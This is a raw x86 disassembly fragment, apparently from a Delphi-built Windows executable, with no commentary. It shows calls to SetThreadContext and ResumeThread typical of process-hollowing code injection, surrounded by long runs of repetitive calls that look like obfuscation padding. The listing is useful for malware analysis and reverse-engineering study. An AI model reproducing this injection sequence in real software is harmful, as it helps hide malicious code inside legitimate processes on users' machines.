push 0x420b6c
lea eax, [ebp - 0x204]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
lea eax, [ebp - 0x5bc]
push eax
mov eax, dword [ebp - 0x2a8]
push eax
call sub.kernel32.dll_SetThreadContext
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x10d], al
mov eax, dword [ebp - 0x2a8]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x2a4]
mov dword [eax], edx
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x208], eax
xor eax, eax
push ebp
push 0x41fc82
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x208]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x20c], eax
xor eax, eax
push ebp
push 0x41fc60
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x210], eax
xor eax, eax
push ebp
push 0x41fc3e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x210]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x214], eax
xor eax, eax
push ebp
push 0x41fc1c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x214]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
mov byte [ebp - 0x10d], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41fc23
lea eax, [ebp - 0x214]
call fcn.00407120
pop eax
jmp eax
mov eax, dword [ebp - 0x2ac]
push eax
call sub.kernel32.dll_CloseHandle
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x218], eax
xor eax, eax
push ebp
push 0x42010c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x218]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x21c], eax
xor eax, eax
push ebp
push 0x4200ea
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x21c]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x220], eax
xor eax, eax
push ebp
push 0x4200c8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x220]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x224], eax
xor eax, eax
push ebp
push 0x4200a6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x224]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
mov eax, dword [ebp - 0x2a8]
push eax
call sub.kernel32.dll_CloseHandle
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x228], eax
xor eax, eax
push ebp
push 0x420084
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x228]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x22c], eax
xor eax, eax
push ebp
push 0x420062
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x22c]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
push 0x1c6c
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x230], eax
xor eax, eax
push ebp
push 0x420040
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x230]
push eax
mov ecx, 0x420bec
mov edx, 0x576
mov eax, 0x420c7c
call fcn.0041de18
push 0x241a
push 0x420874
push 0x420914
mov ecx, 0x4209a0
mov edx, 0x420a40
mov eax, 0x420adc
call fcn.0041dfd0
xor eax, eax
mov dword [ebp - 0x234], eax
xor eax, eax
push ebp
push 0x42001e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x420b6c
lea eax, [ebp - 0x234]
push eax
mov ecx, 0x420bec
mov edx, 0x1a75
mov eax, 0x420c7c
call fcn.0041de18
mov eax, dword [ebp - 0x2a4]
call fcn.0041e2b0
mov byte [ebp - 0x10d], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x420025
lea eax, [ebp - 0x234]
call fcn.00407120
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4205fd
lea eax, [ebp - 0x160]
call fcn.00407120
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x420685
lea eax, [ebp - 0x150]
call fcn.00407120
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42070d
lea eax, [ebp - 0x140]
call fcn.00407120
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x420795
lea eax, [ebp - 0x130]
call fcn.00407120
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42085a
lea eax, [ebp - 0x5c0]
call fcn.00407120
lea eax, [ebp - 0x104]
mov edx, dword [0x4024a4]
call fcn.0040938c
pop eax
jmp eax